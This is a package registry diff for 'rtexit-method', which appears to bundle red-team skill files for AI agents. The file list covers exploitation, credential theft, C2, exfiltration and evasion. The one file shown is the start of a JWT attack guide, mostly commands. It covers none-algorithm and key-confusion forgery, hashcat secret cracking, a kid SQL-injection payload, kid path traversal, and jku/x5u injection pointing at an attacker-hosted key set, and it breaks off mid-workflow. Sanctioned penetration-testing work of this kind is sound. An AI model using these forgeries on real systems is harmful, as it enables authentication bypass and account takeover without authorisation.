rtexit-method 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -5
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/copy-assets.js +5 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,1327 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-jwt
|
|
3
|
+
description: "JWT (JSON Web Token) attack skill. Covers algorithm confusion (RS256 to HS256 with public key), none algorithm attack, weak secret brute force (hashcat mode 16500), kid injection (SQL/path traversal), JWK injection, JWKS spoofing, and JWT expiry manipulation. Tool: jwt_tool."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-jwt — JWT Attack Skill
|
|
7
|
+
|
|
8
|
+
## 1. Overview
|
|
9
|
+
|
|
10
|
+
JSON Web Tokens (JWTs) are a compact, URL-safe means of representing claims between parties. They are widely used for authentication and authorization in modern web applications. Due to their complexity and frequent misimplementation, JWTs are a high-value target during red team engagements.
|
|
11
|
+
|
|
12
|
+
A JWT consists of three Base64URL-encoded parts separated by dots:
|
|
13
|
+
|
|
14
|
+
```
|
|
15
|
+
HEADER.PAYLOAD.SIGNATURE
|
|
16
|
+
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIifQ.SIGNATURE
|
|
17
|
+
```
|
|
18
|
+
|
|
19
|
+
**Header** — specifies the algorithm and token type
|
|
20
|
+
**Payload** — contains claims (subject, role, expiry, etc.)
|
|
21
|
+
**Signature** — cryptographic proof of integrity
|
|
22
|
+
|
|
23
|
+
### Attack Surface
|
|
24
|
+
|
|
25
|
+
| Vulnerability | Impact | Prevalence |
|
|
26
|
+
|---|---|---|
|
|
27
|
+
| Algorithm confusion (RS256 -> HS256) | Authentication bypass, privilege escalation | High |
|
|
28
|
+
| None algorithm | Full authentication bypass | Medium |
|
|
29
|
+
| Weak secret brute force | Full token forgery | High |
|
|
30
|
+
| `kid` SQL injection | RCE / auth bypass | Medium |
|
|
31
|
+
| `kid` path traversal | Auth bypass | Medium |
|
|
32
|
+
| JWK injection | Full token forgery | Medium |
|
|
33
|
+
| JWKS spoofing | Full token forgery | Low-Medium |
|
|
34
|
+
| Expiry manipulation | Session extension | High |
|
|
35
|
+
| `x5u` / `jku` header injection | Full token forgery | Medium |
|
|
36
|
+
|
|
37
|
+
### Primary Tool: jwt_tool
|
|
38
|
+
|
|
39
|
+
```
|
|
40
|
+
https://github.com/ticarpi/jwt_tool
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
jwt_tool is the de-facto standard CLI for JWT manipulation, tampering, and testing. It supports all major attack classes and produces ready-to-use tampered tokens.
|
|
44
|
+
|
|
45
|
+
### Supporting Tools
|
|
46
|
+
|
|
47
|
+
- `hashcat` — GPU-accelerated secret brute force (mode 16500)
|
|
48
|
+
- `john` — CPU-based secret brute force
|
|
49
|
+
- `openssl` — key generation, public key extraction
|
|
50
|
+
- `python3` / `PyJWT` — scripted token manipulation
|
|
51
|
+
- `jose` (npm) — JavaScript JWT utilities
|
|
52
|
+
- `Burp Suite` — intercept and replay tampered tokens
|
|
53
|
+
|
|
54
|
+
---
|
|
55
|
+
|
|
56
|
+
## 2. Skill Levels
|
|
57
|
+
|
|
58
|
+
### BEGINNER
|
|
59
|
+
|
|
60
|
+
Focus: Capture a JWT, decode it, understand its structure, perform none-algorithm and basic brute-force attacks.
|
|
61
|
+
|
|
62
|
+
**Prerequisites**
|
|
63
|
+
- Python 3.8+
|
|
64
|
+
- jwt_tool installed
|
|
65
|
+
- A valid JWT token from the target application
|
|
66
|
+
|
|
67
|
+
**Key commands**
|
|
68
|
+
|
|
69
|
+
```bash
|
|
70
|
+
# Install jwt_tool
|
|
71
|
+
git clone https://github.com/ticarpi/jwt_tool
|
|
72
|
+
cd jwt_tool
|
|
73
|
+
pip3 install -r requirements.txt
|
|
74
|
+
|
|
75
|
+
# Decode and inspect a token (no verification)
|
|
76
|
+
python3 jwt_tool.py <TOKEN>
|
|
77
|
+
|
|
78
|
+
# Pretty-print decoded token
|
|
79
|
+
python3 jwt_tool.py <TOKEN> -p
|
|
80
|
+
|
|
81
|
+
# Check for none algorithm vulnerability
|
|
82
|
+
python3 jwt_tool.py <TOKEN> -X a
|
|
83
|
+
|
|
84
|
+
# Try common weak secrets (built-in wordlist)
|
|
85
|
+
python3 jwt_tool.py <TOKEN> -C -d /usr/share/wordlists/jwt-secrets.txt
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
**What to look for in the decoded header**
|
|
89
|
+
- `"alg": "RS256"` or `"alg": "ES256"` — asymmetric, check for confusion attacks
|
|
90
|
+
- `"alg": "HS256"` — symmetric, attempt brute force
|
|
91
|
+
- `"kid"` present — check for injection
|
|
92
|
+
- `"jku"` or `"x5u"` present — check for header injection
|
|
93
|
+
- Short expiry (`"exp"`) — note for manipulation
|
|
94
|
+
|
|
95
|
+
---
|
|
96
|
+
|
|
97
|
+
### INTERMEDIATE
|
|
98
|
+
|
|
99
|
+
Focus: Algorithm confusion attacks, expiry tampering, basic kid injection, JWKS endpoint reconnaissance.
|
|
100
|
+
|
|
101
|
+
**Prerequisites**
|
|
102
|
+
- Public key of the target (obtained via JWKS endpoint, TLS certificate, or source code)
|
|
103
|
+
- Understanding of RS256 vs HS256 mechanics
|
|
104
|
+
|
|
105
|
+
**Key commands**
|
|
106
|
+
|
|
107
|
+
```bash
|
|
108
|
+
# Fetch JWKS from a common endpoint
|
|
109
|
+
curl -s https://target.com/.well-known/jwks.json | jq .
|
|
110
|
+
curl -s https://target.com/api/.well-known/jwks.json | jq .
|
|
111
|
+
curl -s https://target.com/auth/realms/master/protocol/openid-connect/certs | jq .
|
|
112
|
+
|
|
113
|
+
# Extract public key from JWKS (convert n,e to PEM)
|
|
114
|
+
python3 jwt_tool.py <TOKEN> --jwks https://target.com/.well-known/jwks.json
|
|
115
|
+
|
|
116
|
+
# RS256 to HS256 confusion attack using public key file
|
|
117
|
+
python3 jwt_tool.py <TOKEN> -X k -pk public.pem
|
|
118
|
+
|
|
119
|
+
# Tamper payload (change role to admin) and resign with confusion
|
|
120
|
+
python3 jwt_tool.py <TOKEN> -X k -pk public.pem -I -pc role -pv admin
|
|
121
|
+
|
|
122
|
+
# None algorithm — strip signature
|
|
123
|
+
python3 jwt_tool.py <TOKEN> -X a
|
|
124
|
+
|
|
125
|
+
# Expire time manipulation (set exp 24h in future)
|
|
126
|
+
python3 jwt_tool.py <TOKEN> -I -pc exp -pv 9999999999
|
|
127
|
+
|
|
128
|
+
# Tamper sub claim to another user ID
|
|
129
|
+
python3 jwt_tool.py <TOKEN> -I -pc sub -pv admin
|
|
130
|
+
|
|
131
|
+
# Scan all vulnerabilities automatically
|
|
132
|
+
python3 jwt_tool.py <TOKEN> -t https://target.com/api/protected -rh "Authorization: Bearer <TOKEN>" --scan
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
---
|
|
136
|
+
|
|
137
|
+
### ADVANCED
|
|
138
|
+
|
|
139
|
+
Focus: kid SQL injection, kid path traversal, JWK set injection, jku/x5u header injection, custom claims, scripted attacks.
|
|
140
|
+
|
|
141
|
+
**Prerequisites**
|
|
142
|
+
- Burp Suite (or mitmproxy) to intercept and replay
|
|
143
|
+
- Attacker-controlled server for JWKS hosting
|
|
144
|
+
- OpenSSL for key pair generation
|
|
145
|
+
- Understanding of SQL and file system paths
|
|
146
|
+
|
|
147
|
+
**Key commands**
|
|
148
|
+
|
|
149
|
+
```bash
|
|
150
|
+
# kid SQL injection — make HMAC secret a known value
|
|
151
|
+
# The server query: SELECT secret FROM secrets WHERE kid = '<KID>'
|
|
152
|
+
# Inject: ' UNION SELECT 'attacker_secret' --
|
|
153
|
+
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "x' UNION SELECT 'attacker_secret'-- -" -S hs256 -p attacker_secret
|
|
154
|
+
|
|
155
|
+
# kid path traversal — point kid to /dev/null (empty secret)
|
|
156
|
+
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "../../../../../../dev/null" -S hs256 -p ""
|
|
157
|
+
|
|
158
|
+
# kid path traversal — point to a known file (e.g., /proc/sys/kernel/randomize_va_space)
|
|
159
|
+
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "../../../../proc/sys/kernel/randomize_va_space" -S hs256 -p "2"
|
|
160
|
+
|
|
161
|
+
# JWK injection — embed attacker key in header
|
|
162
|
+
# First generate a key pair
|
|
163
|
+
openssl genrsa -out attacker_private.pem 2048
|
|
164
|
+
openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem
|
|
165
|
+
|
|
166
|
+
# Inject JWK set into token header
|
|
167
|
+
python3 jwt_tool.py <TOKEN> -X i
|
|
168
|
+
|
|
169
|
+
# jku header injection — point to attacker-hosted JWKS
|
|
170
|
+
python3 jwt_tool.py <TOKEN> -X s -ju https://attacker.com/jwks.json
|
|
171
|
+
|
|
172
|
+
# x5u header injection
|
|
173
|
+
python3 jwt_tool.py <TOKEN> -X u -xu https://attacker.com/x5u.pem
|
|
174
|
+
|
|
175
|
+
# Fuzz all header and payload parameters
|
|
176
|
+
python3 jwt_tool.py <TOKEN> -t https://target.com/api/protected -rh "Authorization: Bearer <TOKEN>" -M pb
|
|
177
|
+
|
|
178
|
+
# Tamper multiple claims simultaneously
|
|
179
|
+
python3 jwt_tool.py <TOKEN> -I -pc role -pv admin -pc sub -pv 1 -pc email -pv admin@target.com
|
|
180
|
+
```
|
|
181
|
+
|
|
182
|
+
---
|
|
183
|
+
|
|
184
|
+
### EXPERT
|
|
185
|
+
|
|
186
|
+
Focus: Chained attacks, automation, WAF bypass, custom Python exploits, engagement-grade documentation, edge cases.
|
|
187
|
+
|
|
188
|
+
**Prerequisites**
|
|
189
|
+
- Full understanding of JWT RFC 7519, 7517, 7518
|
|
190
|
+
- Custom exploit scripting in Python
|
|
191
|
+
- Red team infrastructure for JWKS hosting
|
|
192
|
+
|
|
193
|
+
**Key commands**
|
|
194
|
+
|
|
195
|
+
```bash
|
|
196
|
+
# Full automated scan with verbose output and all tamper modes
|
|
197
|
+
python3 jwt_tool.py <TOKEN> -t https://target.com/api/v1/me \
|
|
198
|
+
-rh "Authorization: Bearer <TOKEN>" \
|
|
199
|
+
-rh "X-Custom-Header: value" \
|
|
200
|
+
--scan -V 2>&1 | tee jwt_scan_$(date +%Y%m%d_%H%M%S).txt
|
|
201
|
+
|
|
202
|
+
# Hashcat mode 16500 — GPU crack HS256 secret
|
|
203
|
+
hashcat -a 0 -m 16500 <TOKEN> /usr/share/wordlists/rockyou.txt
|
|
204
|
+
hashcat -a 0 -m 16500 <TOKEN> /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule
|
|
205
|
+
hashcat -a 3 -m 16500 <TOKEN> "?a?a?a?a?a?a?a?a" # Brute force up to 8 chars
|
|
206
|
+
|
|
207
|
+
# After cracking, forge a new token with any payload
|
|
208
|
+
python3 jwt_tool.py <TOKEN> -I -pc role -pv superadmin -S hs256 -p "CRACKED_SECRET"
|
|
209
|
+
|
|
210
|
+
# RS256 confusion — full workflow with extracted public key
|
|
211
|
+
# Step 1: Get the public key from JWKS
|
|
212
|
+
curl -s https://target.com/.well-known/jwks.json | python3 -c "
|
|
213
|
+
import sys, json, base64, struct
|
|
214
|
+
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
|
|
215
|
+
from cryptography.hazmat.backends import default_backend
|
|
216
|
+
from cryptography.hazmat.primitives import serialization
|
|
217
|
+
|
|
218
|
+
jwks = json.load(sys.stdin)
|
|
219
|
+
key = jwks['keys'][0]
|
|
220
|
+
|
|
221
|
+
def b64_to_int(s):
|
|
222
|
+
b = base64.urlsafe_b64decode(s + '==')
|
|
223
|
+
return int.from_bytes(b, 'big')
|
|
224
|
+
|
|
225
|
+
pub_numbers = RSAPublicNumbers(b64_to_int(key['e']), b64_to_int(key['n']))
|
|
226
|
+
pub_key = pub_numbers.public_key(default_backend())
|
|
227
|
+
pem = pub_key.public_bytes(serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo)
|
|
228
|
+
print(pem.decode())
|
|
229
|
+
" > extracted_public.pem
|
|
230
|
+
|
|
231
|
+
# Step 2: Perform confusion attack
|
|
232
|
+
python3 jwt_tool.py <TOKEN> -X k -pk extracted_public.pem -I -pc role -pv admin -pc sub -pv 1
|
|
233
|
+
|
|
234
|
+
# Extract public key from TLS certificate
|
|
235
|
+
echo | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -pubkey -noout > tls_public.pem
|
|
236
|
+
python3 jwt_tool.py <TOKEN> -X k -pk tls_public.pem -I -pc role -pv admin
|
|
237
|
+
```
|
|
238
|
+
|
|
239
|
+
---
|
|
240
|
+
|
|
241
|
+
## 3. Step-by-Step Attack Workflow
|
|
242
|
+
|
|
243
|
+
### Phase 1 — Discovery
|
|
244
|
+
|
|
245
|
+
**Step 1: Capture a JWT**
|
|
246
|
+
|
|
247
|
+
